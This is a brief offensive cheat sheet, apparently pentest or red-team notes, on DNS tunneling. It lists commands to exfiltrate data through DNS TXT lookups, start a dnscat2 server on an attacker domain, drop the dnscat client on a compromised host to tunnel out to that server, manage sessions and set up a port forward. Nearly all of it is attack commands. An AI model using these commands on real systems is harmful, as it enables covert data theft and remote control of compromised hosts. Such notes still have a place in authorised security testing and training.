DNS Tunneling

Data can be exfiltrated using DNS records and the protocol itself

Create a txt record on compromised server and exfil line by line

01nslookup -type=txt exfiltrated.data.dogs.corp

dnscat2

Spin up dnscat2 server

01dnscat2-server feline.corp

Drop binary on compromised host and create tunnel

01./dnscat feline.corp

View sessions

01windows

Interact with a session

01window -i 1

Set up a port forward

01listen 0.0.0.0:1338 172.16.192.217:4646